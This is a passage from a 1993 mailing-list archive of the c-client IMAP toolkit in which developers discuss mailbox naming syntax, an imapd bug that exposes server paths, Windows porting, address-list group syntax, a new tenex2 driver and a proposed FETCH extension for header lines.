BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4c.411 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Tue, 16 Feb 1993 23:05:43 -0500 (EST) Message-Id: Date: Tue, 16 Feb 1993 23:05:43 -0500 (EST) From: John Gardiner Myers To: c-client@cac.washington.edu Subject: Subscription management and ambiguous names Beak: is Not When subscribing to an ambiguous name, the bezerk driver in c-client 2.3 converts it into an unambiguous name before adding it to the subscription database. Also, bezerk_find_all() given an ambiguous pattern will return unambiguous names. In my opinion, this is incorrect. In many cases, it will cause imapd to behave contrary to the protocol spec. It also exposes implementation information that should remain hidden from the user. For example, I gave imapd a "tag subscribe INBOX" command and a subsequent "tag find mailboxes *" command returned "* MAILBOX /usr/spool/mail/jm36". A "tag find all.mailboxes *" command gave information as to where the user's mailboxes were stored on the imap server. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Tue Feb 16 22:46:43 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04427; Tue, 16 Feb 93 22:46:43 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA15792; Tue, 16 Feb 93 22:46:30 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA15786; Tue, 16 Feb 93 22:46:29 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA01788; Tue, 16 Feb 93 22:46:24 -0800 Date: Tue, 16 Feb 1993 20:24:25 -0800 (PST) From: Mark Crispin Subject: re: Subscription management and ambiguous names To: John Gardiner Myers Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII John (& the c-client list) - The idea was to have a constant frame of reference. Home-directory relative unambiguous names are supposed to be of the form ~/name, not something like /u1/users/jm36 which is subject to change. The recording of the special name INBOX as an absolute /usr/spool/mail pathname is probably a bug though. It is certainly not intended. Anyway, this stuff is still under development, so expect to see more changes in 2.4. -- Mark -- From pinedev@shivax2.cac.washington.edu Wed Feb 17 06:47:42 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA11145; Wed, 17 Feb 93 06:47:42 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA17913; Wed, 17 Feb 93 06:47:35 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from csgrad.cs.vt.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA17907; Wed, 17 Feb 93 06:47:33 -0800 Received: by csgrad.cs.vt.edu (5.65/DEC-Ultrix/4.3) id AA07739; Wed, 17 Feb 1993 09:47:28 -0500 Date: Wed, 17 Feb 1993 09:46:58 -0500 (EST) From: Laurence Lundblade Subject: Re: Subscription management and ambiguous names To: John Gardiner Myers Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Here here! I agree, but Mark and company already know that all to well. LL On Tue, 16 Feb 1993, John Gardiner Myers wrote: > When subscribing to an ambiguous name, the bezerk driver in c-client > 2.3 converts it into an unambiguous name before adding it to the > subscription database. Also, bezerk_find_all() given an ambiguous > pattern will return unambiguous names. > > In my opinion, this is incorrect. In many cases, it will cause imapd > to behave contrary to the protocol spec. It also exposes > implementation information that should remain hidden from the user. > For example, I gave imapd a "tag subscribe INBOX" command and a > subsequent "tag find mailboxes *" command returned > "* MAILBOX /usr/spool/mail/jm36". A "tag find all.mailboxes *" > command gave information as to where the user's mailboxes were stored > on the imap server. > > -- > _.John G. Myers Internet: jgm+@CMU.EDU > LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up > > From pinedev@shivax2.cac.washington.edu Thu Feb 18 05:01:25 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA08404; Thu, 18 Feb 93 05:01:25 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29268; Thu, 18 Feb 93 05:01:09 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from csgrad.cs.vt.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29262; Thu, 18 Feb 93 05:01:06 -0800 Received: by csgrad.cs.vt.edu (5.65/DEC-Ultrix/4.3) id AA29111; Thu, 18 Feb 1993 08:01:02 -0500 Date: Thu, 18 Feb 1993 07:55:19 -0500 (EST) From: Laurence Lundblade Reply-To: Laurence Lundblade Subject: Re: Naming rules w.r.t. ambiguous names To: John Gardiner Myers Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I agree with John here, as long as the ambiguous names across all technologies are not required to be unique, as I believe is the current implementation is. I also agree that Pine 3.05 knows too much about technology formats. It's probably in the worst state possible now as the process of moving all that stuff into the c-client is not complete. Some is in the c-client, but there's a huge amount of code in Pine. The work hasn't progresses because we've found the naming scheme and semantics of some routines in the c-client lacking. For example mail_find() always returns FQ (fully qualified -- unambiguous) names, it is not really appropriate to present such names to the use, and it's not possible to undo the FQ without knowledge of the OS of the server. The basic name of a folder includes: technology, path, ambiguous name, and host. The basic problem is how to put these all together. At the moment I've got a ton of beginning Pascal progams to grade and home work due, so I won't say more for a day or two, but have more thoughts. LL On Tue, 16 Feb 1993, John Gardiner Myers wrote: > I disagree with the following rule in Naming.txt: > > "c-client will look for ambiguous names ONLY in the same technology as > the INBOX mailbox." > > C-client should look for ambiguous names in all technologies. Each > technology must have the ability to determine whether or not it has an > object of that name. When two or more technologies have an object > with the same name it is an implementation issue to determine which > has precedence. > > It is reasonable to state the rule that ambiguous names will only be > CREATED in the same technology as the INBOX mailbox. > > _.John From pinedev@shivax2.cac.washington.edu Tue Mar 2 05:16:53 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA17229; Tue, 2 Mar 93 05:16:53 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26624; Tue, 2 Mar 93 05:16:42 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from genesis.iti.gov.sg by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26618; Tue, 2 Mar 93 05:16:37 -0800 Received: from pollux.iti.gov.sg by iti.gov.sg (4.1/SMI-4.1) id AA13483; Tue, 2 Mar 93 21:18:42 SST Date: Tue, 2 Mar 93 21:18:42 SST From: jinho@iti.gov.sg (Tan Jin Ho) Message-Id: <9303021318.AA13483@iti.gov.sg> To: c-client@CAC.Washington.edu Subject: c-clients for Windows Hi, Is there anyone who is working on a Windows c-client library (or have already done so) ? I tried compiling c-client with win wattcp but failed (it compiles fine but mtest crashed). Thanks, Jin-Ho From pinedev@shivax2.cac.washington.edu Tue Mar 2 10:58:18 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA24164; Tue, 2 Mar 93 10:58:18 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29120; Tue, 2 Mar 93 10:58:12 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29114; Tue, 2 Mar 93 10:57:58 -0800 Received: from isagate by scapa.cs.ualberta.ca with UUCP id <42134>; Tue, 2 Mar 1993 11:57:12 -0700 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Tue, 2 Mar 93 11:52 MST Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.26.7 #1) id m0nTc9Q-000cv9C; Tue, 2 Mar 93 11:57 MST Date: Tue, 2 Mar 1993 11:55:02 -0700 From: Steve Hole Subject: Re: c-clients for Windows To: Tan Jin Ho Cc: c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 2 Mar 1993 12:18:42 -0700 Tan Jin Ho wrote: > From: Tan Jin Ho > Date: Tue, 2 Mar 1993 12:18:42 -0700 > Subject: c-clients for Windows > To: c-client@cac.washington.edu > > > Hi, > Is there anyone who is working on a Windows c-client library (or have > already done so) ? I tried compiling c-client with win wattcp but > failed (it compiles fine but mtest crashed). > We have been using the c-client inside windows for about 6 months now as the basis for ECSMail. It works fine. The problem would have to be in the win wattcp stack. We have noticed other problems with this stack, but haven't gotten around to correcting them. I believe that we will try to do so sometime this month. Cheers. -- Steve Hole Director of Research and Communications ISA Corporation mail: steve@edm.isac.ca Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Tue Mar 2 11:10:49 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA24599; Tue, 2 Mar 93 11:10:49 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29796; Tue, 2 Mar 93 11:10:40 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29790; Tue, 2 Mar 93 11:10:39 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA03071; Tue, 2 Mar 93 11:10:21 -0800 Date: Tue, 2 Mar 1993 11:04:52 -0800 (PST) From: Mark Crispin Subject: re: c-clients for Windows To: Tan Jin Ho Cc: c-client Interest List In-Reply-To: <9303021318.AA13483@iti.gov.sg> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > Is there anyone who is working on a Windows c-client library (or have > already done so) ? I tried compiling c-client with win wattcp but > failed (it compiles fine but mtest crashed). Hi - I am concerned about all reports of c-client crashes, and I will happily debug the problem if you give me enough information. Telling me that mtest crashed is inadequate. Preferably, I need to be able to reproduce the problem, or at least have an idea of what is going on. Can you tell me exactly what you did to cause the c-client crash? Is there any reason to believe that a particular piece of e-mail data may be associated with the crash? Thanks, -- Mark -- From pinedev@shivax2.cac.washington.edu Fri Mar 19 01:19:35 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA14283; Fri, 19 Mar 93 01:19:35 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25494; Fri, 19 Mar 93 01:19:21 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25488; Fri, 19 Mar 93 01:19:20 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA00505; Fri, 19 Mar 93 01:19:18 -0800 Date: Fri, 19 Mar 1993 00:51:30 -0800 (PST) From: Mark Crispin Subject: change coming to address lists To: IMAP Interest List Cc: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII A change is forthcoming to address lists in IMAP, and the corresponding structures in c-client, to provide a more useful representation of the envelope data for Pine. This change is largely upwards-compatible, but it may trip up some unprepared software. My ms and MailManager applications were. Because of its possible consequences, these changes will not appear until version 3.0 of the IMAP toolkit, so 2.4 is frozen as it stands now. I don't plan on releasing 3.0 of the IMAP toolkit until after the next release of Pine is released. The change makes it possible for an address structure to have a NIL host name and mailbox name. This is being used to support group syntax. An address structure with a non-NIL mailbox name but a NIL host name indicates the start of a group; one with both NIL indicates the end of a group. For example, the address list: To: Friends: Bob@FOO, Lisa@Bar;, Romans: Julius@CAESAR;, Joe@GARP will now be structured in IMAP as: ((NIL NIL Friends NIL) (NIL NIL Bob FOO) (NIL NIL Lisa Bar) (NIL NIL NIL NIL) (NIL NIL Romans NIL) (NIL NIL Julius CAESAR) (NIL NIL NIL NIL) (NIL NIL Joe GARP)) Previously, it was: ((NIL NIL Bob FOO) (NIL NIL Lisa Bar) (NIL NIL Julius CAESAR) (NIL NIL Joe GARP)) that is, the group information was ignored. More changes of this sort are likely in the near future to introduce netnews newsgroups. c-client software which religiously use c-client's routines will upgrade automatically on a relink. [ms and MailManager didn't, but they do now!] Implementors of c-client based software should look for cases where their program outputs data from an ADDRESS structure (as opposed to calling the routines in c-client). IMAP implementors should look for cases where they assume the mailbox or host name are non-NIL. -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Mar 23 13:05:22 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11702; Tue, 23 Mar 93 13:05:22 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA23594; Tue, 23 Mar 93 13:05:03 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA23588; Tue, 23 Mar 93 13:05:01 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA06465; Tue, 23 Mar 93 13:05:00 -0800 Date: Tue, 23 Mar 1993 11:33:56 -0800 (PST) From: Mark Crispin Subject: c-client network mailbox syntax To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In the present c-client, network mailboxes are accessed with the following syntax for their names: {host}mailbox mailbox on host using IMAP {host:port}mailbox mailbox on host using IMAP on this port instead of 143 *{host}bboard bboard on host using IMAP *{host:port}mailbox bboard on host using IMAP on this port instead of 143 [host]mailbox mailbox on host using POP (future) *[host]bboard bboard on host using NNTP The notion is that {} refers to IMAP whereas [] refers to the older protocols. It has been proposed that the last two become instead: {host/POP2}mailbox *{host/NNTP}bboard That is, that slash followed by a service name identify an alternative service instead of IMAP. The default would, of course, be IMAP. Advantages: . possible elimination of confusion over the meaning of [] vs {}. It's felt that if users encounter this they would be seriously confused. . possible future extensibility. . fewer special characters in mailbox names. . simpler top-level rules, at the cost of more complex rules for {}. Disadvantages: . *{host/NNTP}bboard is arguably as mystical to users as *[host]bboard. . silly concepts such as *{host/POP}mailbox or {host/NNTP}bboard would exist, whereas they don't exist now. . extensibility arguments assume that anything we plan now would be at all suitable for a future mechanism. . it is necessary to state a protocol name, whereas before the protocol was inferred from the syntax. . more work for name parsers; they can't just grab things starting with { or [ any more. There has been a long, drawn out argument on this that finally ended with a general recognition that either one was arguably ``cleaner and better'' than the other. There is no clear technical superiority of one over the other; also, it can be reasonably argued that it is an implementation detail that can be hidden from users no matter what syntax is used. I'll state flat out: I like the current scheme. It's nice and tight with no loose ends, and it doesn't create silly cases (those of you will remember from the MIME WG that I *hate* silly states). But if the majority favors a change to the proposed format, I'll go along. So, if you have any feelings either way (or even if you don't particularly care), please share them. We do need to commit one way or another soon. -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Mar 23 13:33:35 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12719; Tue, 23 Mar 93 13:33:35 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA19566; Tue, 23 Mar 93 13:33:17 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA19560; Tue, 23 Mar 93 13:33:16 -0800 Received: by shiva1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA13632; Tue, 23 Mar 93 13:33:14 -0800 Date: Tue, 23 Mar 1993 13:25:12 -0800 (PST) From: Terry Gray Subject: Re: c-client network mailbox syntax To: Mark Crispin Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > There has been a long, drawn out argument on this that finally ended with > a general recognition that either one was arguably ``cleaner and better'' > than the other. Gosh Mark, my recollection was that there was only one person in the room who thought using { } and [] (with/without * ) was "cleaner and better"! :) > There is no clear technical superiority of one over the > other; also, it can be reasonably argued that it is an implementation > detail that can be hidden from users no matter what syntax is used. As John Meyers once pointed out, internal syntax has a nasty habit of creeping out and becoming user-visible! -teg From pinedev@shivax2.cac.washington.edu Tue Mar 23 14:29:24 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14239; Tue, 23 Mar 93 14:29:24 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA20485; Tue, 23 Mar 93 14:29:15 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from SUMEX-AIM.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA20479; Tue, 23 Mar 93 14:29:11 -0800 Received: from jouez.stanford.EDU (ssrg-ds5000-1.Stanford.EDU) by SUMEX-AIM.Stanford.EDU (4.1/inc-1.0) id AA24682; Tue, 23 Mar 93 14:29:09 PST Received: by jouez.stanford.EDU (5.57/Ultrix4.0-(Rev. 174)) id AA12790; Tue, 23 Mar 93 14:28:13 -0800 Date: Tue, 23 Mar 1993 14:26:26 -0800 (PST) From: Bill Yeager Reply-To: Bill_Yeager@camis.stanford.edu Subject: RE: c-client network mailbox syntax To: Mark Crispin Cc: c-client Interest List In-Reply-To: Mark Crispin's message of Tue, 23 Mar 1993 11:33:56 -0800 (PST): Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII >I'll state flat out: I like the current scheme I too think the current scheme is sufficient. Bill From pinedev@shivax2.cac.washington.edu Tue Mar 23 14:50:53 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15142; Tue, 23 Mar 93 14:50:53 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA20972; Tue, 23 Mar 93 14:50:45 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from eco.twg.com by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA20966; Tue, 23 Mar 93 14:50:38 -0800 Received: from LOCAL.eco.twg.com by eco.twg.com (5.67/ECO.m-$Revision: 2.16 $) id AA04497; Tue, 23 Mar 93 17:50:42 -0500 Message-Id: <9303232250.AA04497@eco.twg.com> Received: from apache.twg.com by apache.twg.com id <25822-0@apache.twg.com>; Tue, 23 Mar 1993 14:50:14 -0800 From: "David Herron" Subject: Re: c-client network mailbox syntax To: Mark Crispin Cc: c-client Interest List Date: Tue, 23 Mar 93 14:50:12 PST In-Reply-To: Your message of Tue, 23 Mar 1993 11:33:56 -0800 (PST). Sensitivity: Personal Conversion: Prohibited Conversion-With-Loss: Prohibited Encoding: 26 TEXT , 4 TEXT IMO, using `*' to distinguish a `bboard' is pretty silly. So why not unify on something like {host/access-method}mailbox-idenifier-string Or {server/bboard}sf-lovers or {server/nntp}rec.arts.sf This means that a mailbox-access-method would provide a `type name' along with the function pointers. The users shouldn't be seeing these strings anyway. Even {host}mailbox is pretty ugly. The software should be encapsulating representation details like this and providing them a way to specify "host" and "mailbox-name" and it takes care of munging up the right strings. . it is necessary to state a protocol name, whereas before the protocol was inferred from the syntax. To me specifying the protocol by syntax is a big disadvantage to the current encoding. It greatly limits the number of available protocols because for every one you have to invent a new leading character. With the proposal above there is one syntax which you parse to find the appropriate server code. <- David Herron (work) (home) <- <- "That's our advantage at Microsoft; we set the standards and we can change them." <- Karen Hargrove of Microsoft quoted in the Feb 1993 Unix Review editorial. From pinedev@shivax2.cac.washington.edu Thu Mar 25 19:07:53 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27540; Thu, 25 Mar 93 19:07:53 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA07957; Thu, 25 Mar 93 19:07:39 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Delphi.CS.UCLA.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA07951; Thu, 25 Mar 93 19:07:37 -0800 Received: from twinsun.UUCP by delphi.cs.ucla.edu (Sendmail 5.61d+YP/3.21ns) id AA21127; Thu, 25 Mar 93 19:07:35 -0800 Received: from sirius by twinsun.com (4.1/SMI-4.1) id AA16243; Thu, 25 Mar 93 18:50:05 PST Message-Id: <9303260250.AA16243@twinsun.com> Date: Thu, 25 Mar 1993 18:44:38 EST From: Ram Krishnan Subject: Please add me to this mailing list To: imap@cac.washington.edu, c-client@cac.washington.edu Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Description: Please add me to this mailing list. Ram ====================================================================== Reporter (to Mahatma Gandhi): Mr Gandhi, what do you think of Western Civilization? Gandhi: I think it would be a good idea. From pinedev@shivax2.cac.washington.edu Sun Mar 28 22:06:16 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00114; Sun, 28 Mar 93 22:06:16 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22855; Sun, 28 Mar 93 22:06:03 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22849; Sun, 28 Mar 93 22:06:01 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA13416; Sun, 28 Mar 93 22:06:00 -0800 Date: Sun, 28 Mar 1993 21:43:01 -0800 (PST) From: Mark Crispin Subject: remote mailbox naming syntax for c-client To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The next version of c-client will support a new naming syntax for NNTP access, as a result of action to standardize the format of all remote mailbox names to be (in BNF form): ["*"] "{" host [":" port] ["/" access "}" [mailbox] where: "*" indicator to use bboard access host remote IP host to connect port TCP port number to use (defaults to service's normal port) access access mechanism, imap2 or nntp (defaults to imap2) mailbox defaults to INBOX for mail, general for bboard The syntax *[host]newsgroup for NNTP access is hereby declared dead. All of the people who supported that syntax indicated that it wouldn't be a show stopper for them if it changed, whereas those who advocated the change had quite strong feelings on the matter. -- Mark -- From pinedev@shivax2.cac.washington.edu Sun Mar 28 22:19:01 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00251; Sun, 28 Mar 93 22:19:01 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22917; Sun, 28 Mar 93 22:18:56 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22911; Sun, 28 Mar 93 22:18:55 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA13431; Sun, 28 Mar 93 22:18:53 -0800 Date: Sun, 28 Mar 1993 22:09:28 -0800 (PST) From: Mark Crispin Subject: new memory-miser tenex driver To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The next version of the c-client distribution will come with tenex2, a new memory-miser version of the tenex driver, as the default driver for the mail.txt format. It does not read the entire mailbox into memory, and thus uses what can be significantly less memory than the original tenex driver. For systems on which virtual memory/swap space is at a premium, this could result in swap space savings and resultant performance improvement. Users who have particularly large mailboxes may wish to consider using the mail.txt format once the tenex2 driver is installed in their mailer, since it may result in significant real time speedups and a reduction of system overhead. This is done at the possible cost of extra disk traffic and slower global free text searches. On a system with adequate memory for buffer cache, the overhead compared to the original driver may be merely a matter of some extra system call and context-switching overhead. For the nonce, the original mail.txt format driver will still be available as tenex.c/h, but the makefiles will only build the tenex2.c/h version. If the tenex2 driver turns out to be a winner, the original driver may be allowed to succumb to software rot, so please let me know if the original driver is still needed in your environment. From pinedev@shivax2.cac.washington.edu Sun Apr 18 19:36:58 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20519; Sun, 18 Apr 93 19:36:58 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14715; Sun, 18 Apr 93 19:36:48 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14709; Sun, 18 Apr 93 19:36:46 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA00452; Sun, 18 Apr 93 19:36:45 -0700 Date: Sun, 18 Apr 1993 19:18:29 -0700 (PDT) From: Mark Crispin Subject: proposed IMAP protocol enhancement To: IMAP Interest List Cc: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I, perhaps more than anyone else, want to put a lid on further IMAP additions in the name of stability and getting a Proposed Standard out of this. However, something has come out that has survived even my harsh filters, and I'm throwing it out to the list to be blessed (or damned, as the case may be). The proposed change is a new form of FETCH which allows the selecting fetching of message headers. The problem to be solved is that RFC-822 certain header lines are not represented in the IMAP envelope structure, nor is there any reasonable way to extend the envelope structure to accomodate them. It is considered mandatory that any extension be upwards/downwards compatible and not require revisiting the next time we need to be able to snarf another header. The most obvious example is the ReSent-Date/ReSent-From/ReSent-To header lines. There is an additional problem with these particular header lines in that they can not be arbitrarily reordered and retain the same meaning. Other headers, such as Newsgroups:, are also perceived as interesting. The proposed two new functions are a ``fetch all header lines of this message whose field names match any in this list'' and ``fetch all header lines of this message whose names do not match any in this list''. They take an argument which consists of a list of the field names. The result of these functions is a text string similar to that from RFC822.HEADER. All header lines are returned in the original order of the message (note this is a requirement for useful ReSent information). For example (note that line breaks are here only for clarity): A001 FETCH 23:30 (ENVELOPE RFC822.HEADER.LINES ("Resent-Date" "Resent-From" "Resent-To") would fetch the envelopes and remail information for messages 23 to 30. A001 FETCH 23 RFC822.HEADER.LINES.NOT ("Return-Path" "Received") would fetch the header of message 23 without the ``Return-Path'' or ``Received'' header lines. This would become a fundamental API call in c-client, and c-client would simulate its results if it finds itself talking to an IMAP server that does not support it. Comments please. From pinedev@shivax2.cac.washington.edu Sun Apr 18 20:20:32 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20958; Sun, 18 Apr 93 20:20:32 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28848; Sun, 18 Apr 93 20:20:26 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from csgrad.cs.vt.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28836; Sun, 18 Apr 93 20:20:04 -0700 Received: by csgrad.cs.vt.edu (5.65/DEC-Ultrix/4.3) id AA05499; Sun, 18 Apr 1993 23:20:02 -0400 Date: Sun, 18 Apr 1993 23:10:39 -0400 (EDT) From: Laurence Lundblade Subject: Re: proposed IMAP protocol enhancement To: Mark Crispin Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'd welcome the addition of these to IMAP. I've got a few questions: Would the functions just return plain unparsed strings? If so, then the Resent-xxxx: cases would require the client to do address parsing. This isn't a huge problem since the routines are there in the client anyway. It sounds like you have a choice of requesting the header lines that you want, one at a time, or parsing a big string that comes back. The problem with requesting the lines one at a time would be an RTT for each one, right? I'm also having trouble coming up with a use for the LINES.NOT function. Did you have something in mind? That's not to say it should be take out. I'm interested in the References: field for threading news groups and other mail folders. I think you need it because the full tree of In-Reply-To:'s might not be in the mailbox being threaded. Laurence Lundblade lgl@csgrad.cs.vt.edu or lgl@cac.washington.edu (forwarded to same place) Blacksburg, Virginia or Seattle, Washington On Sun, 18 Apr 1993, Mark Crispin wrote: > > I, perhaps more than anyone else, want to put a lid on further IMAP additions > in the name of stability and getting a Proposed Standard out of this. > However, something has come out that has survived even my harsh filters, and > I'm throwing it out to the list to be blessed (or damned, as the case may be). > > The proposed change is a new form of FETCH which allows the selecting fetching > of message headers. The problem to be solved is that RFC-822 certain header > lines are not represented in the IMAP envelope structure, nor is there any > reasonable way to extend the envelope structure to accomodate them. It is > considered mandatory that any extension be upwards/downwards compatible and > not require revisiting the next time we need to be able to snarf another > header. > > The most obvious example is the 